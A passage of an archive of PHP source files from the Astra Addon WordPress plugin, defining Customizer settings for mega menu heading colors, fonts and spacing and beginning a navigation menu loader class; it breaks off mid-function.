'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), ), // Option: Megamenu Heading Color. array( 'type' => 'sub-control', 'priority' => 12, 'tab' => __( 'Normal', 'astra-addon' ), 'parent' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-group]', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-below-header', 'transport' => 'postMessage', 'name' => 'below-header-megamenu-heading-color', 'default' => astra_get_option( 'below-header-megamenu-heading-color' ), 'title' => __( 'Normal', 'astra-addon' ), ), // Option: Megamenu Heading Hover Color. array( 'type' => 'sub-control', 'priority' => 12, 'tab' => __( 'Hover', 'astra-addon' ), 'parent' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-group]', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-below-header', 'transport' => 'postMessage', 'name' => 'below-header-megamenu-heading-h-color', 'default' => astra_get_option( 'below-header-megamenu-heading-h-color' ), 'title' => __( 'Hover', 'astra-addon' ), ), // Option: Megamenu Heading Color. array( 'type' => 'sub-control', 'priority' => 12, 'parent' => ASTRA_THEME_SETTINGS . '[sticky-header-below-mega-menus-colors]', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-below-header', 'transport' => 'postMessage', 'name' => 'sticky-below-header-megamenu-heading-color', 'default' => astra_get_option( 'sticky-below-header-megamenu-heading-color' ), 'title' => __( 'Normal', 'astra-addon' ), 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), // Option: Megamenu Heading Hover Color. array( 'type' => 'sub-control', 'priority' => 12, 'parent' => ASTRA_THEME_SETTINGS . '[sticky-header-below-mega-menus-colors]', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-below-header', 'transport' => 'postMessage', 'name' => 'sticky-below-header-megamenu-heading-h-color', 'default' => astra_get_option( 'sticky-below-header-megamenu-heading-h-color' ), 'title' => __( 'Hover', 'astra-addon' ), 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Existing_Nav_Menu_Below_Header_Colors(); sections/class-astra-nav-menu-primary-header-colors.php 0000666 00000007132 15165372345 0017275 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Primary_Header_Colors' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Primary_Header_Colors extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( // Option: Megamenu Heading Color. array( 'type' => 'sub-control', 'priority' => 12, 'parent' => ASTRA_THEME_SETTINGS . '[sticky-header-primary-megamenu-colors]', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-sticky-header', 'transport' => 'postMessage', 'name' => 'sticky-primary-header-megamenu-heading-color', 'default' => astra_get_option( 'sticky-primary-header-megamenu-heading-color' ), 'title' => __( 'Normal', 'astra-addon' ), ), // Option: Megamenu Heading Hover Color. array( 'type' => 'sub-control', 'priority' => 12, 'parent' => ASTRA_THEME_SETTINGS . '[sticky-header-primary-megamenu-colors]', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-sticky-header', 'transport' => 'postMessage', 'name' => 'sticky-primary-header-megamenu-heading-h-color', 'default' => astra_get_option( 'sticky-primary-header-megamenu-heading-h-color' ), 'title' => __( 'Hover', 'astra-addon' ), ), ); if ( false === astra_addon_builder_helper()->is_header_footer_builder_active ) { $new_configs = array( /** * Option: Sticky Header primary Color Group */ array( 'name' => ASTRA_THEME_SETTINGS . '[sticky-header-primary-megamenu-colors]', 'default' => astra_get_option( 'sticky-header-primary-megamenu-colors' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$group_control, 'title' => __( 'Mega Menu Heading', 'astra-addon' ), 'section' => 'section-sticky-header', 'transport' => 'postMessage', 'priority' => 100, 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), ); $_configs = array_merge( $_configs, $new_configs ); } $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Primary_Header_Colors(); sections/class-astra-nav-menu-above-header-typography.php 0000666 00000012450 15165372345 0017612 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Above_Header_Typography' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Above_Header_Typography extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Above Header Submenu Typography Styling */ array( 'name' => ASTRA_THEME_SETTINGS . '[above-header-typography-megamenu-styling]', 'default' => astra_get_option( 'above-header-typography-megamenu-styling' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Mega Menu Column Heading', 'astra-addon' ), 'section' => 'section-above-header', 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'transport' => 'postMessage', 'priority' => 132, 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), // Option: Above Megamenu Header Menu Font Family. array( 'name' => 'above-header-megamenu-heading-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[above-header-typography-megamenu-styling]', 'type' => 'sub-control', 'control' => 'ast-font', 'section' => 'section-above-header', 'font_type' => 'ast-font-family', 'default' => astra_get_option( 'above-header-megamenu-heading-font-family' ), 'title' => __( 'Font Family', 'astra-addon' ), 'connect' => ASTRA_THEME_SETTINGS . '[above-header-megamenu-heading-font-weight]', ), // Option: Above Megamenu Header Menu Font Size. array( 'name' => 'above-header-megamenu-heading-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[above-header-typography-megamenu-styling]', 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra-addon' ), 'type' => 'sub-control', 'responsive' => false, 'section' => 'section-above-header', 'default' => astra_get_option( 'above-header-megamenu-heading-font-size' ), 'control' => 'ast-responsive-slider', 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), // Option: Above Megamenu Header Menu Font Weight. array( 'name' => 'above-header-megamenu-heading-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[above-header-typography-megamenu-styling]', 'type' => 'sub-control', 'control' => 'ast-font', 'section' => 'section-above-header', 'font_type' => 'ast-font-weight', 'default' => astra_get_option( 'above-header-megamenu-heading-font-weight' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'title' => __( 'Font Weight', 'astra-addon' ), 'connect' => 'above-header-megamenu-heading-font-family', ), // Option: Above Megamenu Header Menu Text Transform. array( 'name' => 'above-header-megamenu-heading-text-transform', 'parent' => ASTRA_THEME_SETTINGS . '[above-header-typography-megamenu-styling]', 'type' => 'sub-control', 'section' => 'section-above-header', 'control' => 'ast-select', 'title' => __( 'Text Transform', 'astra-addon' ), 'transport' => 'postMessage', 'default' => astra_get_option( 'above-header-megamenu-heading-text-transform' ), 'choices' => array( '' => __( 'Inherit', 'astra-addon' ), 'none' => __( 'None', 'astra-addon' ), 'capitalize' => __( 'Capitalize', 'astra-addon' ), 'uppercase' => __( 'Uppercase', 'astra-addon' ), 'lowercase' => __( 'Lowercase', 'astra-addon' ), ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Above_Header_Typography(); sections/class-astra-nav-menu-above-header-colors.php 0000666 00000011243 15165372345 0016704 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Above_Header_Colors' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Above_Header_Colors extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Sticky Above Header Colors */ // Option: Megamenu Heading Color. array( 'type' => 'sub-control', 'priority' => 12, 'parent' => ASTRA_THEME_SETTINGS . '[sticky-header-above-mega-menus-colors]', 'control' => 'ast-color', 'tab' => __( 'Normal', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-sticky-header', 'transport' => 'postMessage', 'name' => 'sticky-above-header-megamenu-heading-color', 'default' => astra_get_option( 'sticky-above-header-megamenu-heading-color' ), 'title' => __( 'Normal', 'astra-addon' ), 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), // Option: Megamenu Heading Hover Color. array( 'type' => 'sub-control', 'priority' => 12, 'parent' => ASTRA_THEME_SETTINGS . '[sticky-header-above-mega-menus-colors]', 'control' => 'ast-color', 'tab' => __( 'Hover', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-sticky-header', 'transport' => 'postMessage', 'name' => 'sticky-above-header-megamenu-heading-h-color', 'default' => astra_get_option( 'sticky-above-header-megamenu-heading-h-color' ), 'title' => __( 'Hover', 'astra-addon' ), 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), ); if ( is_callable( 'Astra_Sticky_Header_Configs::is_header_section_active' ) && Astra_Sticky_Header_Configs::is_header_section_active() && false === astra_addon_builder_helper()->is_header_footer_builder_active ) { $_new_config = array( /** * Option: Sticky Header Above Menu Color Group */ array( 'name' => ASTRA_THEME_SETTINGS . '[sticky-header-above-mega-menus-colors]', 'default' => astra_get_option( 'sticky-header-above-mega-menus-colors' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$group_control, 'title' => __( 'Mega Menu Heading', 'astra-addon' ), 'section' => 'section-sticky-header', 'transport' => 'postMessage', 'priority' => 70, 'responsive' => false, 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), ); $_configs = array_merge( $_configs, $_new_config ); } $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Above_Header_Colors(); sections/class-astra-existing-nav-menu-primary-header-colors.php 0000666 00000006166 15165372345 0021133 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Existing_Nav_Menu_Primary_Header_Colors' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Existing_Nav_Menu_Primary_Header_Colors extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( array( 'name' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-color-group]', 'default' => astra_get_option( 'primary-mega-menu-col-color-group' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$group_control, 'title' => __( 'Mega Menu Heading', 'astra-addon' ), 'section' => 'section-primary-menu', 'transport' => 'postMessage', 'priority' => 70, 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), ), // Option: Megamenu Heading Color. array( 'type' => 'sub-control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-primary-menu', 'transport' => 'postMessage', 'name' => 'primary-header-megamenu-heading-color', 'parent' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-color-group]', 'default' => astra_get_option( 'primary-header-megamenu-heading-color' ), 'title' => __( 'Normal', 'astra-addon' ), ), // Option: Megamenu Heading Hover Color. array( 'type' => 'sub-control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-primary-menu', 'transport' => 'postMessage', 'name' => 'primary-header-megamenu-heading-h-color', 'parent' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-color-group]', 'default' => astra_get_option( 'primary-header-megamenu-heading-h-color' ), 'title' => __( 'Hover', 'astra-addon' ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Existing_Nav_Menu_Primary_Header_Colors(); sections/class-astra-nav-menu-primary-header-typography.php 0000666 00000011705 15165372345 0020203 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Primary_Header_Typography' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Primary_Header_Typography extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( array( 'name' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-typography]', 'default' => astra_get_option( 'primary-mega-menu-col-typography' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Mega Menu Heading Font', 'astra-addon' ), 'section' => 'section-primary-menu', 'transport' => 'postMessage', 'priority' => 72, 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), ), // Option: Primary Megamenu Header Menu Font Family. array( 'name' => 'primary-header-megamenu-heading-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-typography]', 'type' => 'sub-control', 'section' => 'section-primary-menu', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( 'primary-header-megamenu-heading-font-family' ), 'title' => __( 'Font Family', 'astra-addon' ), 'connect' => ASTRA_THEME_SETTINGS . '[primary-header-megamenu-heading-font-weight]', 'priority' => 45, ), // Option: Primary Megamenu Header Menu Font Size. array( 'name' => 'primary-header-megamenu-heading-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-typography]', 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra-addon' ), 'type' => 'sub-control', 'section' => 'section-primary-menu', 'responsive' => false, 'default' => astra_get_option( 'primary-header-megamenu-heading-font-size' ), 'control' => 'ast-responsive-slider', 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), 'priority' => 45, ), // Option: Primary Megamenu Header Menu Font Weight. array( 'name' => 'primary-header-megamenu-heading-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-typography]', 'type' => 'sub-control', 'section' => 'section-primary-menu', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'default' => astra_get_option( 'primary-header-megamenu-heading-font-weight' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'title' => __( 'Font Weight', 'astra-addon' ), 'connect' => 'primary-header-megamenu-heading-font-family', 'priority' => 45, ), // Option: Primary Megamenu Header Menu Text Transform. array( 'name' => 'primary-header-megamenu-heading-text-transform', 'parent' => ASTRA_THEME_SETTINGS . '[primary-mega-menu-col-typography]', 'type' => 'sub-control', 'section' => 'section-primary-menu', 'control' => 'ast-select', 'title' => __( 'Text Transform', 'astra-addon' ), 'transport' => 'postMessage', 'default' => astra_get_option( 'primary-header-megamenu-heading-text-transform' ), 'choices' => array( '' => __( 'Inherit', 'astra-addon' ), 'none' => __( 'None', 'astra-addon' ), 'capitalize' => __( 'Capitalize', 'astra-addon' ), 'uppercase' => __( 'Uppercase', 'astra-addon' ), 'lowercase' => __( 'Lowercase', 'astra-addon' ), ), 'priority' => 45, ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Primary_Header_Typography(); sections/class-astra-nav-menu-primary-header-layout.php 0000666 00000004427 15165372345 0017315 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Primary_Header_Layout' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Primary_Header_Layout extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( // Option - Megamenu Heading Space. array( 'name' => ASTRA_THEME_SETTINGS . '[primary-header-megamenu-heading-space]', 'default' => astra_get_option( 'primary-header-megamenu-heading-space' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'priority' => 125, 'title' => __( 'Megamenu Heading Space', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'section' => 'section-primary-menu', 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Primary_Header_Layout(); sections/class-astra-nav-menu-above-header-layout.php 0000666 00000005213 15165372345 0016720 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Above_Header_Layout' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Above_Header_Layout extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( // Option - Megamenu Heading Space. array( 'name' => ASTRA_THEME_SETTINGS . '[above-header-megamenu-heading-space]', 'default' => astra_get_option( 'above-header-megamenu-heading-space' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'priority' => 175, 'title' => __( 'Megamenu Heading Space', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'section' => 'section-above-header', 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Above_Header_Layout(); sections/class-astra-existing-nav-menu-above-header-colors.php 0000666 00000007066 15165372345 0020544 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Existing_Nav_Menu_Above_Header_Colors' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Existing_Nav_Menu_Above_Header_Colors extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Above Header Megamenu Styling */ array( 'name' => ASTRA_THEME_SETTINGS . '[above-header-megamenu-colors]', 'default' => astra_get_option( 'above-header-megamenu-colors' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Mega Menu Column Heading', 'astra-addon' ), 'section' => 'section-above-header', 'transport' => 'postMessage', 'priority' => 131, 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), // Option: Megamenu Heading Color. array( 'type' => 'sub-control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'transport' => 'postMessage', 'name' => 'above-header-megamenu-heading-color', 'parent' => ASTRA_THEME_SETTINGS . '[above-header-megamenu-colors]', 'section' => 'section-above-header', 'default' => astra_get_option( 'above-header-megamenu-heading-color' ), 'title' => __( 'Color', 'astra-addon' ), 'tab' => __( 'Normal', 'astra-addon' ), ), // Option: Megamenu Heading Hover Color. array( 'type' => 'sub-control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'section-above-header', 'transport' => 'postMessage', 'name' => 'above-header-megamenu-heading-h-color', 'parent' => ASTRA_THEME_SETTINGS . '[above-header-megamenu-colors]', 'default' => astra_get_option( 'above-header-megamenu-heading-h-color' ), 'title' => __( 'Color', 'astra-addon' ), 'tab' => __( 'Hover', 'astra-addon' ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Existing_Nav_Menu_Above_Header_Colors(); class-astra-ext-nav-menu-loader.php 0000666 00000077164 15165372345 0013316 0 ustar 00 <?php /** * Navigation Menu Loader. * * @package Astra Addon * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Ext_Nav_Menu_Loader' ) ) { /** * Astra Nav Menu loader. * * @since 1.6.0 */ // @codingStandardsIgnoreStart final class Astra_Ext_Nav_Menu_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Member Variable * * @var string */ private static $mega_menu_style = ''; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'wp_nav_menu_args', array( $this, 'modify_nav_menu_args' ) ); add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_scripts' ) ); add_action( 'wp_enqueue_scripts', array( $this, 'load_scripts' ) ); if ( defined( 'UAGB_VER' ) && version_compare( UAGB_VER, '1.23.0', '>=' ) ) { add_action( 'wp_enqueue_scripts', array( $this, 'load_gutenberg_addon_scripts' ) ); } else { add_action( 'wp', array( $this, 'load_gutenberg_addon_scripts' ) ); } add_action( 'astra_addon_get_css_files', array( $this, 'add_styles' ) ); add_action( 'astra_addon_get_js_files', array( $this, 'add_scripts' ) ); add_action( 'customize_register', array( $this, 'customize_register' ), 2 ); add_action( 'wp_footer', array( $this, 'megamenu_style' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ) ); } /** * Load page builder scripts and styles. * * @return void */ public function load_scripts() { $menu_locations = get_nav_menu_locations(); foreach ( $menu_locations as $menu_id ) { $nav_items = wp_get_nav_menu_items( $menu_id ); if ( ! empty( $nav_items ) ) { foreach ( $nav_items as $nav_item ) { if ( isset( $nav_item->megamenu_template ) && '' != $nav_item->megamenu_template ) { $page_builder_base_instance = Astra_Addon_Page_Builder_Compatibility::get_instance(); $page_builder_instance = $page_builder_base_instance->get_active_page_builder( $nav_item->megamenu_template ); if ( is_callable( array( $page_builder_instance, 'enqueue_scripts' ) ) ) { $page_builder_instance->enqueue_scripts( $nav_item->megamenu_template ); } } } } } wp_register_style( 'astra-addon-megamenu-dynamic', ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/css/minified/magamenu-frontend.min.css', array(), ASTRA_EXT_VER ); } /** * Load UAG scripts and styles. * * @return void * * @since 2.6.0 */ public function load_gutenberg_addon_scripts() { $menu_locations = get_nav_menu_locations(); foreach ( $menu_locations as $menu_id ) { $nav_items = wp_get_nav_menu_items( $menu_id ); if ( ! empty( $nav_items ) ) { foreach ( $nav_items as $nav_item ) { if ( isset( $nav_item->megamenu_template ) && '' != $nav_item->megamenu_template ) { if ( class_exists( 'Astra_Addon_Gutenberg_Compatibility' ) ) { $astra_gutenberg_instance = new Astra_Addon_Gutenberg_Compatibility(); if ( is_callable( array( $astra_gutenberg_instance, 'enqueue_blocks_assets' ) ) ) { $astra_gutenberg_instance->enqueue_blocks_assets( $nav_item->megamenu_template ); } } } } } } } /** * Include admin scripts on navigation menu screen. * * @return void */ public function admin_scripts() { if ( current_user_can( 